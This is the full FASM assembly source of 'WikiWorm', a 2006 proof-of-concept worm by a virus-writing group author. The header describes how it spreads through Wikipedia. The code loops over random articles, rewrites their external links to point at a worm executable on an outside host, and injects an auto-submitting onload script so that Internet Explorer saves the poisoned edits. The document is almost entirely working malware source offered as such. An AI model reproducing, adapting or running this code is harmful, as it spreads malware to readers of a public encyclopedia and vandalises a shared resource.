WikiWorm
by Second Part To Hell
;;;;;;;;;;;;;;;;;;;;;;;;;;;;[WikiWorm];;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; WikiWorm
;; by Second Part To Hell
;; www.spth.de.vu
;; spth@priest.com
;; written in May 2006
;;
;; This is the probably first malware which uses wikipedia for
;; spreading. It downloads a random article, searchs the title
;; of the article, downloads the article's edit page, changes
;; all external wiki links to a worm-download-page, and opens
;; the HTML file.
;;
;; This is a simple POC version - but imagine the virus would
;; create a HTTP-server at the victims computer and change the
;; links to the IP ('http://127.0.0.1/worm.exe' - for example).
;;
;; More information about wikipedia, see my article in rRlf#7.
;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;[WikiWorm];;;;;;;;;;;;;;;;;;;;;;;;;;;;
include '..\FASM\INCLUDE\win32ax.inc'
URLWormDownload equ 52
onLoadStringLen equ 68
methodpostlen equ 22
VirtualAllocSize equ 0x80000
MethodChangeSize equ 23
InetLength equ 34
szFileNameLength equ 15
.data
memory_alloc dd 0x0
memory_alloc2 dd 0x0
szURL db 'http://en.wikipedia.org/wiki/Special:Random', 0x0
szFileName db 'downloaded.html', 0x0
hArticleF dd 0x0
ddArticleSize dd 0x0
hArticleMap dd 0x0
hArticleMapView dd 0x0
ArticleNameSt dd 0x0
ArticleNameLen dd 0x0
EditLinkStart db 'http://en.wikipedia.org/w/index.php?title='
EndEditLinkStart:
EditLinkEnd db '&action=edit'
EndEditLinkEnd:
URLtoWormDownload db 'http://people.freenet.de/artistsroom/information.exe'
LinkStart dd 0x0
LinkEnd dd 0x0
LinkSize dd 0x0
onLoadString db '<body ONLOAD="window.setTimeout(',39,'document.editform.submit()',39,', 1 );">'
BodyDest dd 0x0
BodySize dd 0x0
FALSE_F dd 0x0
methodpostURL db 'method="post" action="'
MethodFound dd 0x0
MethPointer dd 0x0
program_dir_reg_subkey db 'SOFTWARE\Microsoft\Windows\CurrentVersion',0x0
program_dir_reg_value db 'ProgramFilesDir',0x0
reg_handle dd 0x0
reg_value_type dd 0x0
reg_buffer_size dd 0x25
reg_buffer: times 0x25 db 0x0 ; Program-Dir-Buffer
ProgramDirLength dd 0x0
InetPath db '\Internet Explorer\iexplore.exe" "'
STARTUPINFO_struct:
StartUp_struct_cb dd 0
StartUp_struct_lpReserved dd 0
StartUp_struct_lpDesktop dd 0
StartUp_struct_lpTitle dd 0
StartUp_struct_dwX dd 0
StartUp_struct_dwY dd 0
StartUp_struct_dwXSize dd 0
StartUp_struct_dwYSize dd 0
StartUp_struct_dwXCountChars dd 0
StartUp_struct_dwYCountChars dd 0
StartUp_struct_dwFillAttribute dd 0
StartUp_struct_dwFlags dd 0
StartUp_struct_wShowWindow dw 0
StartUp_struct_cbReserved2 dw 0
StartUp_struct_lpReserved2 dd 0
StartUp_struct_hStdInput dd 0
StartUp_struct_hStdOutput dd 0
StartUp_struct_hStdError dd 0
; end STARTUPINFO
PROCESS_INFORMATION_struct:
PROCESS_INFORMATION_hProcess dd 0
PROCESS_INFORMATION_hThread dd 0
PROCESS_INFORMATION_dwProcessId dd 0
PROCESS_INFORMATION_dwThreadId dd 0
; end PROCESS_INFORMATION
.code
start:
invoke MessageBox, 0x0, "Don't worry - be happy! :)", "Artwork by Second Part To Hell/rRlf", 0x0
call ReserveMemory ; Reserve 512KB Memory
mov [memory_alloc], eax
call ReserveMemory ; Reserve 512KB Memory
mov [memory_alloc2], eax
wiki_main_loop:
mov eax, szURL
call DownloadFile ; Download the File, URL in eax
call MapViewFile ; Create a MapView of szFileName
call SearchArticleName ; Search the full name of the article
call MakeEditName ; Make the Edit-Name of the article
call MakeEditLink ; Make the Edit-Link of the article
call CloseMapFile ; Close the MapView and the File
mov eax, [memory_alloc]
call DownloadFile ; Download the file, URL in eax
call MapViewFile ; Create a MapView of szFileName
call ContentToVirtualAlloc ; Copy the MapView to the Virtual Alloc
call CloseMapFile ; Close the MapView and the File
call SearchExternalLink ; Searchs and changes external wiki links
; searchs for '[htt' and '[ftp'
call GenBodyOnLoad ; Make the onload-part
call ChangePostMethod ; Change the relative URL of the post-php to a static
call WriteContentToFile ; Write the manipulated content to the file
call ExecuteHTMLPage ; Open the file now, to save the changes at wikipedia
call EmptyBuffers ; Fill Buffers with 0x0
jmp wiki_main_loop
signation db 'POC'
ReserveMemory:
invoke VirtualAlloc, \ ; Reserve Memory
0x0, \
VirtualAllocSize, \ ; 512 KB RAM
0x1000, \
0x4
ret
DownloadFile:
; In: eax=URL
invoke URLDownloadToFile, \ ; Download a random article
NULL, \
eax, \
szFileName, \
NULL, \
NULL
invoke Sleep, \ ; 2.5seconds for downloading should be enough
2500
ret
MapViewFile:
invoke CreateFile, \ ; Open the file
szFileName, \
GENERIC_READ or GENERIC_WRITE, \
0x0, \
0x0, \
OPEN_EXISTING, \
FILE_ATTRIBUTE_NORMAL, \
0x0
mov [hArticleF], eax ; Save the handle
cmp eax, INVALID_HANDLE_VALUE
je Lwiki_main_loop ; If anything does not work, begin again
invoke GetFileSize, \ ; Get the Filesize of the file
[hArticleF], \
ddArticleSize
mov [ddArticleSize], eax
invoke CreateFileMapping, \ ; Create a Map of the File
[hArticleF], \
0x0, \
PAGE_READWRITE, \
0x0, \
[ddArticleSize], \
0x0
mov [hArticleMap], eax
invoke MapViewOfFile, \ ; Create a MapViewOfFile
[hArticleMap], \
FILE_MAP_ALL_ACCESS, \
0x0, \
0x0, \
[ddArticleSize]
mov [hArticleMapView], eax
ret
CloseMapFile:
invoke UnmapViewOfFile, \ ; Close MapView
[hArticleMapView]
invoke CloseHandle, \ ; Close FileMapping
[hArticleMap]
invoke CloseHandle, \ ; Close File
[hArticleF]
ret
Lwiki_main_loop:
pop eax ; Trash
jmp wiki_main_loop
SearchArticleName:
mov eax, [hArticleMapView]
add eax, 445 ; Bytes which are before the title (HTML stuff) - excl. meta-keywords
SearchArticleNameLoop:
inc eax
mov ebx, [eax]
cmp ebx, '<tit' ; Articlename by HTML-tag '<title>'
jne SearchArticleNameLoop ; <title>Anarchism - Wikipedia, the free encyclopedia</title>
add eax, 7
mov [ArticleNameSt], eax
SearchArticleNameEnd:
inc eax
mov ebx, [eax]
cmp ebx, ' - W' ; End of the article name=' - W'
jne SearchArticleNameEnd
mov byte [eax], 0x0
sub eax, [ArticleNameSt]
mov [ArticleNameLen], eax
ret
MakeEditName:
mov ecx, [ArticleNameLen]
MakeEditNameLoop:
mov eax, [ArticleNameSt]
add eax, ecx
cmp byte [eax], ' '
jne MENL
mov byte [eax], '_' ; Change every <space> to '_', as wikipedia uses underlines
MENL: ; instead of <space> for internal links.
loop MakeEditNameLoop
ret
MakeEditLink:
mov eax, [memory_alloc]
mov esi, EditLinkStart
mov edi, eax
mov ecx, EndEditLinkStart-EditLinkStart
rep movsb
add eax, EndEditLinkStart-EditLinkStart
mov esi, [ArticleNameSt]
mov edi, eax
mov ecx, [ArticleNameLen]
rep movsb
add eax, [ArticleNameLen]
mov esi, EditLinkEnd
mov edi, eax
mov ecx, EndEditLinkEnd-EditLinkEnd
rep movsb
ret
ContentToVirtualAlloc:
mov esi, [hArticleMapView]
mov edi, [memory_alloc]
mov ecx, [ddArticleSize]
rep movsb
ret
SearchExternalLink:
mov eax, [memory_alloc]
add eax, 5050 ; The content infront of the text-area.
SearchLinkLoop:
inc eax
cmp dword [eax], '[htt' ; Search an external link (HTTP)
je FoundLink
cmp dword [eax], '[ftp' ; Search an external link (FTP)
je FoundLink
cmp byte [eax], 0x0
jne SearchLinkLoop
ret
FoundLink:
mov [LinkStart], eax
inc [LinkStart]
xor ebx, ebx
SearchEndLinkLoop:
inc eax
inc ebx
cmp byte [eax], ' ' ; [http://www.rrlf.de.vu/ Linkname] ?
je FoundEndLink
cmp byte [eax], ']' ; [http://www.rrlf.de.vu/] ?
je FoundEndLink
cmp ebx, 0x100 ; Longer than 255? Maybe mistake in wiki-article.
jl SearchEndLinkLoop
mov eax, [LinkStart]
jmp SearchLinkLoop
FoundEndLink:
mov [LinkEnd], eax
mov [LinkSize], eax
mov eax, [LinkStart]
sub [LinkSize], eax
mov esi, [LinkEnd] ; From Linkend
mov edi, [memory_alloc2]
mov ecx, [ddArticleSize]
sub ecx, [LinkEnd]
add ecx, [memory_alloc]
rep movsb ; Write the content after the link to the new destination (relative)
mov esi, [memory_alloc2]
mov edi, [LinkEnd] ; To new destination (LinkEnd-(LinkSize-URLWormDownload))
sub edi, [LinkSize]
add edi, URLWormDownload
mov ecx, [ddArticleSize]
sub ecx, [LinkEnd]
add ecx, [memory_alloc]
rep movsb
mov eax, [LinkSize]
sub eax, URLWormDownload
add [ddArticleSize], eax
mov esi, URLtoWormDownload
mov edi, [LinkStart]
mov ecx, URLWormDownload
rep movsb ; Replace the old URL with the worm-download URL
mov eax, [LinkStart]
jmp SearchLinkLoop
GenBodyOnLoad:
mov eax, [memory_alloc]
SearchBody:
inc eax
cmp dword [eax], '<bod' ; Search the body tag
jne SearchBody
mov [BodyDest], eax
SearchEndBody:
inc eax
cmp byte [eax], '>' ; End of body tag
jne SearchEndBody
sub eax, [BodyDest]
inc eax
mov [BodySize], eax
mov ecx, [ddArticleSize]
sub ecx, [BodySize]
sub ecx, [BodyDest]
add ecx, [memory_alloc]
xor ebx, ebx
MakeOnLoadBufferLoop:
mov esi, [memory_alloc]
add esi, [ddArticleSize]
sub esi, ebx
mov edi, esi
add edi, 68
mov al, byte [esi]
mov byte [edi], al
inc ebx
loop MakeOnLoadBufferLoop
mov eax, [ddArticleSize]
add eax, onLoadStringLen
sub eax, [BodySize]
mov [ddArticleSize], eax
mov esi, onLoadString
mov edi, [BodyDest]
mov ecx, onLoadStringLen
rep movsb
ret
WriteContentToFile:
invoke CreateFile, \ ; Open the file
szFileName, \
GENERIC_READ or GENERIC_WRITE, \
0x0, \
0x0, \
OPEN_EXISTING, \
FILE_ATTRIBUTE_NORMAL, \
0x0
mov [hArticleF], eax ; Save the handle
invoke WriteFile, \
[hArticleF], \
[memory_alloc2], \
[ddArticleSize], \
FALSE_F, \
0x0
invoke CloseHandle, \
[hArticleF]
ret
ChangePostMethod:
mov eax, [memory_alloc] ; Change the relative ('/w/index.php'...) to
FindPostMethodLoop: ; ('http://en.wikipedia.org/w/index.php'...)
inc eax
cmp dword [eax], 'meth'
je FoundAValue
mov ebx, [memory_alloc]
add ebx, VirtualAllocSize
cmp eax, ebx
jl FindPostMethodLoop
ret
FoundAValue:
mov [MethodFound], eax
mov ecx, methodpostlen-1
CheckValue:
mov eax, [MethodFound]
add eax, ecx
mov ebx, methodpostURL
add ebx, ecx
mov al, byte [eax]
cmp al, byte [ebx]
jne NotRightValuePost
loop CheckValue
add [MethodFound], methodpostlen
mov esi, [memory_alloc]
mov edi, [memory_alloc2]
mov ecx, [MethodFound]
sub ecx, [memory_alloc]
mov [MethPointer], ecx
rep movsb
mov esi, EditLinkStart
mov edi, [MethPointer]
add edi, [memory_alloc2]
mov ecx, 23
rep movsb
add [MethPointer], MethodChangeSize
mov esi, [MethodFound]
mov edi, [MethPointer]
add edi, [memory_alloc2]
mov ecx, [ddArticleSize]
add ecx, [memory_alloc]
sub ecx, [MethodFound]
rep movsb
ret
NotRightValuePost:
mov eax, [MethodFound]
jmp FindPostMethodLoop
ExecuteHTMLPage:
invoke RegOpenKeyEx, \ ; Open the reg-key for getting the ProgramDir-Path
HKEY_LOCAL_MACHINE, \
program_dir_reg_subkey, \
0x0, \
KEY_ALL_ACCESS, \
reg_handle
invoke RegQueryValueEx, \ ; Read the info
[reg_handle], \
program_dir_reg_value, \
0x0, \
reg_value_type, \
reg_buffer, \
reg_buffer_size
invoke RegCloseKey, \ ; Close reg-key
[reg_handle]
mov eax, [memory_alloc]
mov byte [eax], '"'
mov eax, reg_buffer
SearchEndOfProgramDir:
inc eax
cmp byte [eax], 0x0
jne SearchEndOfProgramDir
sub eax, reg_buffer
mov [ProgramDirLength], eax
mov esi, reg_buffer
mov edi, [memory_alloc]
inc edi
mov ecx, [ProgramDirLength]
rep movsb
inc [ProgramDirLength]
mov esi, InetPath
mov edi, [memory_alloc]
add edi, [ProgramDirLength]
mov ecx, InetLength
rep movsb
add [ProgramDirLength], InetLength
mov eax, [ProgramDirLength]
add eax, [memory_alloc]
invoke GetCurrentDirectory, \
0x255, \
eax
mov eax, [ProgramDirLength]
add eax, [memory_alloc]
SearchEndOfCurrentDir:
inc eax
cmp byte [eax], 0x0
jne SearchEndOfCurrentDir
mov [ProgramDirLength], eax
mov byte [eax], '\'
inc [ProgramDirLength]
mov esi, szFileName
mov edi, [ProgramDirLength]
mov ecx, szFileNameLength
rep movsb
mov eax, [ProgramDirLength]
add eax, szFileNameLength
mov byte [eax], '"'
inc eax
mov byte [eax], 0x0
invoke CreateProcess, \ ; Execute the extrac32-string
0x0, \ ; Now the extracted version of the victim is in the temp-direcory
[memory_alloc], \ ; '"'+%program-dir%+'\Internet Explorer\iexplore.exe" "'+%current-dir%+'\downloaded.html"'
0x0, \
0x0, \
FALSE, \
0x0, \
0x0, \
0x0, \
STARTUPINFO_struct, \
PROCESS_INFORMATION_struct
invoke Sleep, \
2500
ret
EmptyBuffers:
mov ecx, VirtualAllocSize -1
EmptyBuffersLoop:
mov eax, [memory_alloc]
add eax, ecx
mov byte [eax], 0x0
mov eax, [memory_alloc2]
add eax, ecx
mov byte [eax], 0x0
loop EmptyBuffersLoop
ret
.end start
|